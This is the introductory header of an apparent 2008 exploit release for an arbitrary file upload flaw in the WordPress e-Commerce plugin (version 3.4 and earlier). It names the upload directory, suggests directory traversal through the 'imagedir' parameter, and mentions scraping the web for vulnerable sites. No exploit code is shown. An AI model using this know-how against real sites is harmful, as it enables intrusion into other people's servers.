- Wordpress Plugin e-Commerce <= 3.4 Arbitrary File Upload -
            Discovered && Coded by: t0pP8uZz
            Discovered on: 20 October 2008

  Theres no current vulnerabilitys for this plugin, but the
  vulnerability explained here no longer exists in the later
  versions of the plugin, due to a code rewrite.

  In testing this vulnerability, i wrote a scraping content
  program, and found ALOT of vulnerable sites.

  This exploit will upload a selected file to the...
  ... /wp-content/plugins/wp-shopping-cart/ directory.

  If the directory is not writable (rare cases) you can
  mod this exploit and use the insecure GET variable
  "imagedir" to directory traversal.. so you can upload
  in diffrent directorys.
